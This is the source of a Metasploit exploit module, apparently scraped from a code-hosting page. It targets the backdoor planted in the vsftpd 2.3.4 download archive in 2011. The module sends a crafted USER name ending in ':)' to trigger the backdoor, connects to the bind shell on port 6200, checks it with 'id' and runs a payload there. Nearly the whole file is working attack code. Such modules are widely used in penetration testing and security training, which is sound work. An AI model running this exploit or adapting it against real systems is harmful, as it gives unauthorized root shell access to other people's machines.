Path: blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',15'Description' => %q{16This module exploits a malicious backdoor that was added to the VSFTPD download17archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between18June 30th 2011 and July 1st 2011 according to the most recent information19available. This backdoor was removed on July 3rd 2011.20},21'Author' => [ 'hdm', 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'OSVDB', '73573'],25[ 'URL', 'http://pastebin.com/AetT9sS5'],26[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],27],28'Privileged' => true,29'Platform' => [ 'unix' ],30'Arch' => ARCH_CMD,31'Payload' => {32'Space' => 2000,33'BadChars' => '',34'DisableNops' => true,35'Compat' =>36{37'PayloadType' => 'cmd_interact',38'ConnectionType' => 'find'39}40},41'Targets' => [42[ 'Automatic', {} ],43],44'DisclosureDate' => '2011-07-03',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options([ Opt::RPORT(21) ])55end5657def exploit58nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil59if nsock60print_status("The port used by the backdoor bind listener is already open")61handle_backdoor(nsock)62return63end6465# Connect to the FTP service port first66connect6768banner = sock.get_once(-1, 30).to_s69print_status("Banner: #{banner.strip}")7071sock.put("USER #{rand_text_alphanumeric(rand(6) + 1)}:)\r\n")72resp = sock.get_once(-1, 30).to_s73print_status("USER: #{resp.strip}")7475if resp =~ /^530 /76print_error("This server is configured for anonymous only and the backdoor code cannot be reached")77disconnect78return79end8081if resp !~ /^331 /82print_error("This server did not respond as expected: #{resp.strip}")83disconnect84return85end8687sock.put("PASS #{rand_text_alphanumeric(rand(6) + 1)}\r\n")8889# Do not bother reading the response from password, just try the backdoor90nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil91if nsock92print_good("Backdoor service has been spawned, handling...")93handle_backdoor(nsock)94return95end9697disconnect98end99100def handle_backdoor(s)101s.put("id\n")102103r = s.get_once(-1, 5).to_s104if r !~ /uid=/105print_error("The service on port 6200 does not appear to be a shell")106disconnect(s)107return108end109110print_good("UID: #{r.strip}")111112s.put("nohup " + payload.encoded + " >/dev/null 2>&1")113handler(s)114end115end116117118